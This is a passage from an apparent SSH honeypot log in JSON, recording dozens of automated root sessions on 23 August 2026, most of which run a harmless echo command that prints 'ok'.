  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37614,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:24.415958+00:00",
  "ended_at": "2026-08-23T08:15:26.243261+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e28e9ae6-cb23-4049-a5c9-fdd3a34cfa73",
  "name": "autumn-painted-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37604,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:21.721565+00:00",
  "ended_at": "2026-08-23T08:15:23.582908+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b4930f70-6fbe-4c25-b7ff-289a7f96a406",
  "name": "clever-regal-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37594,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:19.035998+00:00",
  "ended_at": "2026-08-23T08:15:21.000522+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "435650e7-383a-4746-abfb-124f69c16427",
  "name": "wry-humble-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45474,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:16.847523+00:00",
  "ended_at": "2026-08-23T08:15:18.314853+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "186a250e-1b3b-4357-a630-87b0fd0234fb",
  "name": "wooded-genial-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45468,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:14.134430+00:00",
  "ended_at": "2026-08-23T08:15:16.125205+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1f1d322e-dbc1-454b-86cc-91a2ec2f6610",
  "name": "pristine-smooth-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45452,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:11.390861+00:00",
  "ended_at": "2026-08-23T08:15:13.443715+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6c9b1d55-ab6f-492a-be43-12307dca44a1",
  "name": "gloomy-burly-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:09.689645+00:00",
  "ended_at": "2026-08-23T08:15:10.768023+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "66123835-6894-4d4e-9818-bc7cb8d9d4dd",
  "name": "brave-thawing-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53170,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:07.744690+00:00",
  "ended_at": "2026-08-23T08:15:08.871560+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "222dcaab-a80b-46be-b75e-080f1822da8e",
  "name": "gentle-amber-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53166,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:05.469778+00:00",
  "ended_at": "2026-08-23T08:15:07.028747+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4831e32f-ef3e-481f-822a-af7155e03992",
  "name": "daring-northern-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53152,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:15:01.173598+00:00",
  "ended_at": "2026-08-23T08:15:04.728793+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f4ec01fb-72a3-4e4e-9037-652fd62d349c",
  "name": "breezy-weathered-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53146,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:59.017000+00:00",
  "ended_at": "2026-08-23T08:15:00.458103+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "55e4e657-b46c-4843-b5bd-8d96ade02ea8",
  "name": "fabled-gilded-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33220,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:56.525212+00:00",
  "ended_at": "2026-08-23T08:14:58.233562+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c92c5efc-32d3-4922-a515-edab51256b5b",
  "name": "mindful-cobalt-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33212,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:54.329902+00:00",
  "ended_at": "2026-08-23T08:14:55.794332+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "96858d5a-040d-4c61-8206-a4b50eb9f4d5",
  "name": "wistful-downy-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:51.397746+00:00",
  "ended_at": "2026-08-23T08:14:53.629266+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d85c961c-8e10-4d65-9b5b-47c904cc7021",
  "name": "freckled-dewy-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35490,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:48.700032+00:00",
  "ended_at": "2026-08-23T08:14:50.645850+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6e466ec9-1f7b-4a23-b063-0a684b029b43",
  "name": "autumn-icy-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35476,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:45.925085+00:00",
  "ended_at": "2026-08-23T08:14:47.936267+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d594df0e-ee03-4368-b63e-ffd3d8bd80e2",
  "name": "languid-downy-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35462,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:43.624538+00:00",
  "ended_at": "2026-08-23T08:14:45.179884+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8e4588d5-ba89-4794-8d9f-26a71b9711ad",
  "name": "sandy-vernal-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:41.884085+00:00",
  "ended_at": "2026-08-23T08:14:42.887641+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "822b6443-ba54-438c-a03b-ef0c3a3594df",
  "name": "jaunty-indigo-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35446,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:38.947876+00:00",
  "ended_at": "2026-08-23T08:14:41.176075+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "16598b0f-29a0-41fd-a59d-0994a7b4c23c",
  "name": "lawful-lively-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40456,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:36.894908+00:00",
  "ended_at": "2026-08-23T08:14:38.259534+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "14df408a-7956-497b-9a5c-787c5f883b39",
  "name": "early-supple-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40444,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:34.992002+00:00",
  "ended_at": "2026-08-23T08:14:36.183896+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aad31829-af5a-42a9-a3e3-e011894c4fc9",
  "name": "sandy-graceful-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40440,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:32.391562+00:00",
  "ended_at": "2026-08-23T08:14:34.243582+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "15b2584a-34ce-4668-8101-e0f19808c014",
  "name": "honest-leafy-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40438,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:30.375597+00:00",
  "ended_at": "2026-08-23T08:14:31.764681+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9847055c-4d7b-4314-8089-23051e33ab6c",
  "name": "dutiful-barren-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48372,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:28.559653+00:00",
  "ended_at": "2026-08-23T08:14:29.481343+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6ab9b0eb-c5c8-4ce6-adae-e6e730fb9515",
  "name": "smooth-forlorn-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48364,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:26.384719+00:00",
  "ended_at": "2026-08-23T08:14:27.921223+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4a8cb48b-c0ea-4802-a83b-efcc571f8102",
  "name": "sunlit-serene-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48358,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:24.129197+00:00",
  "ended_at": "2026-08-23T08:14:25.656653+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ff185bce-233e-481d-b0d6-3ed45b0a3e6e",
  "name": "placid-hollow-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "192.169.201.223",
  "src_port": 36770,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:14:22.229530+00:00",
  "ended_at": "2026-08-23T08:14:22.376248+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "966b0bb4-e1ec-40de-8032-f0066ccd15e0",
  "name": "hushed-mossy-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48348,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:21.825610+00:00",
  "ended_at": "2026-08-23T08:14:23.371633+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "33bf4c1c-7879-4f58-aae5-ebf592326b48",
  "name": "murky-twilight-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:19.920558+00:00",
  "ended_at": "2026-08-23T08:14:21.116783+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "311bdccb-0670-494b-bebd-5b742b8f08d2",
  "name": "plucky-candid-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54710,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:16.957954+00:00",
  "ended_at": "2026-08-23T08:14:19.091219+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3d833257-082f-4a32-a59a-ab207b718908",
  "name": "thawing-feral-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "192.169.201.223",
  "src_port": 34430,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:14:14.949323+00:00",
  "ended_at": "2026-08-23T08:14:15.766727+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c56cec0f-ef90-4aa0-b4f4-0ae85539ced3",
  "name": "tender-crisp-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54706,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:14.101110+00:00",
  "ended_at": "2026-08-23T08:14:16.287781+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9eea9eaf-cfa8-4fda-814b-9cdf0d941925",
  "name": "civil-austere-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54704,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:11.164843+00:00",
  "ended_at": "2026-08-23T08:14:13.296456+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d8bb6b69-860c-4710-94bb-d62dc2139946",
  "name": "sandy-jovial-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54688,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:09.023962+00:00",
  "ended_at": "2026-08-23T08:14:10.548815+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "db58f54a-418e-4fe9-863f-fb127f73417c",
  "name": "woven-ginger-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41568,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:06.710236+00:00",
  "ended_at": "2026-08-23T08:14:08.227398+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "145dcd3c-66bb-489e-8ff4-e86bd117a28e",
  "name": "hazel-tangled-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:03.851089+00:00",
  "ended_at": "2026-08-23T08:14:05.955790+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9b42a730-b128-429c-8223-b5eaf4f003ae",
  "name": "opal-sunlit-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41564,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:14:01.881789+00:00",
  "ended_at": "2026-08-23T08:14:02.977583+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1cb93fe4-6c29-4665-a4cb-0d5ff4934e8e",
  "name": "nautical-windswept-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41558,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:59.102674+00:00",
  "ended_at": "2026-08-23T08:14:01.077660+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8e0f376a-88c9-44e3-83a2-ad9bb0070cf4",
  "name": "brazen-autumn-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:56.752114+00:00",
  "ended_at": "2026-08-23T08:13:58.418932+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b5c16653-2c39-4df2-9039-90b9acc3f2cf",
  "name": "rapid-somber-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:54.745524+00:00",
  "ended_at": "2026-08-23T08:13:55.925748+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1deeed9d-0a8e-4c09-b8f5-3ac8ba79b91c",
  "name": "ivory-daring-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46552,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:52.785734+00:00",
  "ended_at": "2026-08-23T08:13:54.033137+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e7f51c11-d938-4cd5-b72c-14ac8e63aff8",
  "name": "bitter-crimson-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46550,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:50.779789+00:00",
  "ended_at": "2026-08-23T08:13:51.927736+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a30c3035-221e-43b5-a5dd-a92bb7025af9",
  "name": "vigilant-faded-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55192,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:48.659081+00:00",
  "ended_at": "2026-08-23T08:13:50.070404+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9af5a529-e9e0-4069-a899-02dc687be646",
  "name": "honest-canny-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55180,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:45.562562+00:00",
  "ended_at": "2026-08-23T08:13:47.821760+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1a4fee66-8765-4437-b997-e405629cdb8f",
  "name": "rugged-scarlet-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55166,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:43.980716+00:00",
  "ended_at": "2026-08-23T08:13:44.919565+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c8eeb491-c4ec-4a93-a5fd-4beaea5ad2ec",
  "name": "kindly-earnest-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55152,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:41.271733+00:00",
  "ended_at": "2026-08-23T08:13:43.248284+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3215264f-b602-4fe2-ab88-0e7bf9068062",
  "name": "diligent-placid-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55150,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:38.996686+00:00",
  "ended_at": "2026-08-23T08:13:40.613885+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c7090336-3d98-41e7-bcd4-bd4f1cfc28f4",
  "name": "hollow-wiry-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:36.865668+00:00",
  "ended_at": "2026-08-23T08:13:38.343578+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "54f77a9a-d7d8-4f77-8bf7-2ebd4829f680",
  "name": "coral-regal-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48568,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:34.175791+00:00",
  "ended_at": "2026-08-23T08:13:36.235384+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b56d7c1e-74d1-4146-ab77-5d071275a3d6",
  "name": "curious-genial-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48558,
  "username": "root",
